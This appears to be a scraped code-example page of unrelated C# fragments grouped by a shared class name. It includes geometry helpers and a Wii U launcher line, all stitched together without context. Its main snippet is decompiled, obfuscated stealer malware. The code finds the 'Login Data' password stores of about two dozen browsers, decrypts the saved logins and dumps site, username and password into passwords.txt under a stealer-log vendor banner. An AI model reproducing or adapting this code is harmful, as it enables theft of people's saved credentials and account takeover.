            this._modArgumentString = this.GenerateArguments(((IEnumerable <string>)System.IO.Directory.GetFiles(System.IO.Path.Combine(mount_point, "code") + "\\")).Where <string>((Func <string, bool>)(x => System.IO.Path.GetExtension(x) == ".rpx")).ToList <string>()[0], mount_point_mlc);
        }
Exemple #22
0
        public BoundingRectangle MinimumAreaEnclosingRectangle()
        {
            Class22 @class = new Class22(this);

            return(@class.method_2());
        }
Exemple #23
0
 // Token: 0x06000119 RID: 281 RVA: 0x00007804 File Offset: 0x00005A04
 public static object[] smethod_2(byte[] byte_0)
 {
     return(Class22.smethod_4(byte_0).object_0);
 }
Exemple #24
0
 // Token: 0x060001E0 RID: 480 RVA: 0x0000ECD8 File Offset: 0x0000CED8
 public static void smethod_0()
 {
     string[] array = new string[]
     {
         "Chrome",
         "Yandex",
         "Orbitum",
         "Opera",
         "Amigo",
         "Torch",
         "Comodo",
         "CentBrowser",
         "Go!",
         "uCozMedia",
         "Rockmelt",
         "Sleipnir",
         "SRWare Iron",
         "Vivaldi",
         "Sputnik",
         "Maxthon",
         "AcWebBrowser",
         "Epic Browser",
         "MapleStudio",
         "BlackHawk",
         "Flock",
         "CoolNovo",
         "Baidu Spark",
         "Titan Browser"
     };
     try
     {
         Directory.CreateDirectory(GClass9.string_6 + "\\Browsers");
         List <string> list  = new List <string>();
         List <string> list2 = new List <string>();
         list2.Add(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData));
         list2.Add(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData));
         List <string> list3 = new List <string>();
         foreach (string path in list2)
         {
             try
             {
                 list3.AddRange(Directory.GetDirectories(path));
             }
             catch
             {
             }
         }
         foreach (string path2 in list3)
         {
             try
             {
                 list.AddRange(Directory.GetFiles(path2, "Login Data", SearchOption.AllDirectories));
                 foreach (string text in Directory.GetFiles(path2, "Login Data", SearchOption.AllDirectories))
                 {
                     try
                     {
                         if (File.Exists(text))
                         {
                             string string_ = "Unknown (" + text + ")";
                             foreach (string text2 in array)
                             {
                                 if (text.Contains(text2))
                                 {
                                     string_ = text2;
                                 }
                             }
                             try
                             {
                                 string text3 = Path.GetTempPath() + "/test.fv";
                                 if (File.Exists(text3))
                                 {
                                     File.Delete(text3);
                                 }
                                 File.Copy(text, text3, true);
                                 Class7 @class = new Class7(text3);
                                 if ([email protected]_4("logins"))
                                 {
                                     break;
                                 }
                                 int num = 0;
                                 for (;;)
                                 {
                                     try
                                     {
                                         if (num >= @class.method_1())
                                         {
                                             break;
                                         }
                                         try
                                         {
                                             string text4 = string.Empty;
                                             try
                                             {
                                                 text4 = Encoding.UTF8.GetString(Class21.smethod_1(Encoding.Default.GetBytes(@class.method_0(num, 5)), null));
                                             }
                                             catch (Exception)
                                             {
                                             }
                                             if (text4 != "")
                                             {
                                                 Class22 class2 = new Class22
                                                 {
                                                     String_0 = @class.method_0(num, 1).Replace("https://", "").Replace("http://", "").Replace("www.", ""),
                                                     String_1 = @class.method_0(num, 3),
                                                     String_2 = text4,
                                                     String_3 = string_
                                                 };
                                                 string  str     = Class21.string_0;
                                                 string  newLine = Environment.NewLine;
                                                 Class22 class3  = class2;
                                                 Class21.string_0 = str + Convert.ToString(newLine + ((class3 != null) ? class3.ToString() : null));
                                                 Class21.int_0++;
                                             }
                                         }
                                         catch
                                         {
                                         }
                                         num++;
                                     }
                                     catch
                                     {
                                     }
                                 }
                                 File.Delete(text3);
                             }
                             catch
                             {
                             }
                         }
                     }
                     catch
                     {
                     }
                 }
             }
             catch
             {
             }
         }
         File.WriteAllText(GClass9.string_6 + "\\passwords.txt", (Class21.string_0 != null) ? ("COOCKIE.PRO - Professionals in working with logs! " + Environment.NewLine + Class21.string_0 + "\n") : "", Encoding.Default);
     }
     catch
     {
     }
 }
Exemple #25
0
        public Edge Diameter()
        {
            Class22 @class = new Class22(this);

            return(@class.method_4());
        }